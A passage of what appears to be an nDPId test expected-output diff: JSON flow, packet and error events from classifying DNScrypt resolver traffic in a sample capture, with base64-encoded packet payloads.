AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":492,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":198,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739391046881,"flow_src_last_pkt_time":946739391046881,"flow_dst_last_pkt_time":946739391046881,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739391046881,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":49796,"dst_port":8443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":493,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739391046903} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":3,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739391046903,"packet_id":493,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739391046903} 00424{"packet_event_id":1,"packet_event_name":"packet","packet_id":493,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739391046881,"pkt":"REREREREZmZmZmZmCABFAABQBYoAuX4RC\/IKAAABi2PeSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":2,"flow_src_last_pkt_time":946739391046818,"flow_dst_last_pkt_time":946739391306378,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739391306378,"pkt":"ZmZmZmZmRERERERECABFAADSWtFAACoRyuGLY95ICgAAASD7snIAvm5FmleBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAAR0hTbelwStbUvrsyN4TMcjd6ciaJLWS\/+lAjdb\/qhY\/GqLYEoO6rv\/+JZlrPe5rwefrjN2pIualeqx6XQ1AD9Zj2kPVDPuO2VaFeIl38Qe5+u3sSCCBiqzaCgrP\/G5+1mPaQ9UM+44AAAABX1NQIl9UoaI="} 00766{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":2,"flow_src_last_pkt_time":946739391046803,"flow_dst_last_pkt_time":946739391308620,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739391308620,"pkt":"ZmZmZmZmRERERERECABFAADSWtNAACoRyt+LY95ICgAAASD7xakAvlsMmlmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAAR0hTbelwStbUvrsyN4TMcjd6ciaJLWS\/+lAjdb\/qhY\/GqLYEoO6rv\/+JZlrPe5rwefrjN2pIualeqx6XQ1AD9Zj2kPVDPuO2VaFeIl38Qe5+u3sSCCBiqzaCgrP\/G5+1mPaQ9UM+44AAAABX1NQIl9UoaI="} @@ -1151,12 +1033,12 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":498,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047802,"flow_src_last_pkt_time":946739396047802,"flow_dst_last_pkt_time":946739396047802,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047802,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":41108,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_src_last_pkt_time":946739396047802,"flow_dst_last_pkt_time":946739396047802,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396047802,"pkt":"REREREREZmZmZmZmCABFAAXclEMgAH4RxtIKAAABkFtq46CUAbsGBGABZlsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":498,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":200,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047802,"flow_src_last_pkt_time":946739396047802,"flow_dst_last_pkt_time":946739396047802,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047802,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":41108,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":499,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396047813} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":4,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396047813,"packet_id":499,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396047813} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":499,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396047802,"pkt":"REREREREZmZmZmZmCABFAABQlEMAuX4R66UKAAABkFtq4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":500,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":201,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047817,"flow_src_last_pkt_time":946739396047817,"flow_dst_last_pkt_time":946739396047817,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047817,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":48237,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_src_last_pkt_time":946739396047817,"flow_dst_last_pkt_time":946739396047817,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396047817,"pkt":"REREREREZmZmZmZmCABFAAXclEQgAH4RxtEKAAABkFtq47xtAbsGBEQqZlkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":500,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":201,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047817,"flow_src_last_pkt_time":946739396047817,"flow_dst_last_pkt_time":946739396047817,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047817,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":48237,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":501,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396047828} +00327{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":946739396047828,"packet_id":501,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739396047828} 00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":501,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739396047817,"pkt":"REREREREZmZmZmZmCABFAABQlEQAuX4R66QKAAABkFtq4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00777{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":502,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":202,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047867,"flow_src_last_pkt_time":946739396047867,"flow_dst_last_pkt_time":946739396047867,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047867,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54305,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01201{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":502,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_src_last_pkt_time":946739396047867,"flow_dst_last_pkt_time":946739396047867,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739396047867,"pkt":"REREREREZmZmZmZmCABFAAIclEVAAH4RqpAKAAABkFtq49QhAbsCCL4UZloBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} @@ -1167,7 +1049,7 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":504,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":204,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739396047885,"flow_src_last_pkt_time":946739396047885,"flow_dst_last_pkt_time":946739396047885,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739396047885,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":54204,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02484{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":504,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_src_last_pkt_time":946739396047885,"flow_dst_last_pkt_time":946739396047885,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739396047885,"pkt":"REREREREZmZmZmZmCABFAAXclEcgAH4Rxs4KAAABkFtq49O8AbsGBCzXZl0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA